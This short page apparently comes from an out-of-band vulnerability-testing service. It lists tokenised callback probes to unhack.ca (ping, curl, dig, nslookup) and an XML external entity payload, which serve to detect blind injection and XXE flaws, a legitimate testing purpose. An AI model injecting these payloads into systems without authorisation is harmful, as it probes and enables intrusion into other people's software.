$ ping -c1 -p 008531b858bacbef9beab5afa76a1e00 unhack.ca
 

$ curl http://unhack.ca/p/8531b858bacbef9beab5afa76a1e
 

$ dig 8531b858bacbef9beab5afa76a1e @unhack.ca
 

$ dig 8531b858bacbef9beab5afa76a1e.ns.unhack.ca
 

C:\> nslookup 8531b858bacbef9beab5afa76a1e unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8531b858bacbef9beab5afa76a1e">]>
    <foo>&xxe;</foo>